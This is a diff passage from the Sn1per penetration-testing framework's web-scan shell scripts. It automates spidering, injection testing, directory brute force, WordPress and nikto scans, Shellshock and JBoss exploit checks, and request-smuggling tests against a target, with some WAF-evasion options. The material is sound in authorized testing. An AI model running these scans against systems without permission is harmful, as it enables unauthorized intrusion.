+    for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "http\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "http\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http.raw; done; done;
+    sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-http.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-http.txt
+  fi
+  source $INSTALL_DIR/modes/static-grep-search.sh
+  if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
+    source $INSTALL_DIR/modes/javascript-analysis.sh
+  fi
+  touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+  cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+  if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e $WEB_BRUTE_EXTENSIONS -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u http://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-common.txt
+      fi
+  fi
+  if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+          python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u http://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-full.txt
+      fi
+  fi
+  if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+          python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-exploits.txt
+      fi
+  fi
+  if [[ "$DIRSEARCH" == "1" ]]; then
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
+      mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null 
+      diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
+      fi
+  fi
+  if [[ "$GOBUSTER" == "1" ]]; then
+      sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
+  fi
+  wget --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
+  if [[ "$CLUSTERD" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      clusterd -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http.txt
+  fi
+  if [[ "$CMSMAP" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING CMSMAP $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cmsmap http://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpa.txt
+      echo ""
+      cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpb.txt
+      echo ""
+  fi
+  if [[ "$WPSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$WP_API_KEY" ]]; then
+        wpscan --url http://$TARGET --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80a.raw
+        echo ""
+        wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80b.raw
+        echo ""
+      else
+        wpscan --url http://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80a.raw
+        echo ""
+        wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80b.raw
+        echo ""
+      fi
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port80a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port80a.txt
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port80b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port80b.txt
+      rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
+  fi
+  if [[ "$NIKTO" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port80.txt
+    sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port80.txt
+  fi
+  if [[ "$SHOCKER" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 80 | tee $LOOT_DIR/web/shocker-$TARGET-port80.txt
+  fi
+  if [[ "$JEXBOSS" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING JEXBOSS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cd /tmp/
+      python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port80.raw
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port80.raw > $LOOT_DIR/web/jexboss-$TARGET-port80.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/jexboss-$TARGET-port80.raw 2> /dev/null
+      cd $INSTALL_DIR
+  fi
+  if [[ "$SMUGGLER" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+
+    python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u http://$TARGET | tee $LOOT_DIR/web/smuggler-$TARGET-port80.txt
+  fi
+  if [[ "$NUCLEI" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    nuclei -silent -t /usr/share/sniper/plugins/nuclei-templates/ -c $THREADS -target http://$TARGET -o $LOOT_DIR/web/nuclei-http-10.0.0.19-port80.txt 
+  fi
+  rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+fi 

modes/normal_webporthttps.sh

@@ -0,0 +1,196 @@
+if [[ "$MODE" = "web" ]]; then
+  echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$PASSIVE_SPIDER" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$WAYBACKMACHINE" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$HACKERTARGET" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -s GET "https://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$GAU" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED FETCHING GUA URLS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$BLACKWIDOW" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
+    blackwidow -u https://$TARGET:443 -l 3 -v n
+    cp -f /usr/share/blackwidow/"$TARGET"_443/"$TARGET"_443-*.txt $LOOT_DIR/web/ 2>/dev/null 
+    cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
+    mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
+    if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+      echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+      head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+    fi
+    if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
+    fi
+  fi
+  if [[ "$INJECTX" == "1" ]]; then
+    rm -f $LOOT_DIR/web/injectx-$TARGET-https.raw 2> /dev/null
+    for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "https\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "https\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-https.raw; done; done;
+    sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-https.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-https.txt
+  fi
+  source $INSTALL_DIR/modes/static-grep-search.sh
+  if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
+    source $INSTALL_DIR/modes/javascript-analysis.sh
+  fi
+  touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+  cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+  if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u https://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-common.txt
+      fi
+  fi
+  if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+          python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u https://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-full.txt
+      fi
+  fi
+  if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+          python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-exploits.txt
+      fi
+  fi
+  if [[ "$DIRSEARCH" == "1" ]]; then
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
+      mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null 
+      diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
+      fi
+  fi
+  if [[ "$GOBUSTER" == "1" ]]; then
+      sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
+  fi
+  wget --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
+  if [[ "$CLUSTERD" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      clusterd --ssl -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-https.txt
+  fi
+  if [[ "$CMSMAP" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING CMSMAP $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cmsmap https://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsa.txt
+      echo ""
+      cmsmap https://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt
+      echo ""
+  fi
+  if [[ "$WPSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$WP_API_KEY" ]]; then
+        wpscan --url https://$TARGET --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443a.txt
+        echo ""
+        wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443b.txt
+        echo ""
+      else
+        wpscan --url https://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443a.txt
+        echo ""
+        wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443b.txt
+        echo ""
+      fi
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port443a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port443a.txt
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port443b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port443b.txt
+      rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
+  fi
+  if [[ "$NIKTO" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port443.txt
+    sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port443.txt
+  fi
+  if [[ "$SHOCKER" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --ssl --port 443 | tee $LOOT_DIR/web/shocker-$TARGET-port443.txt
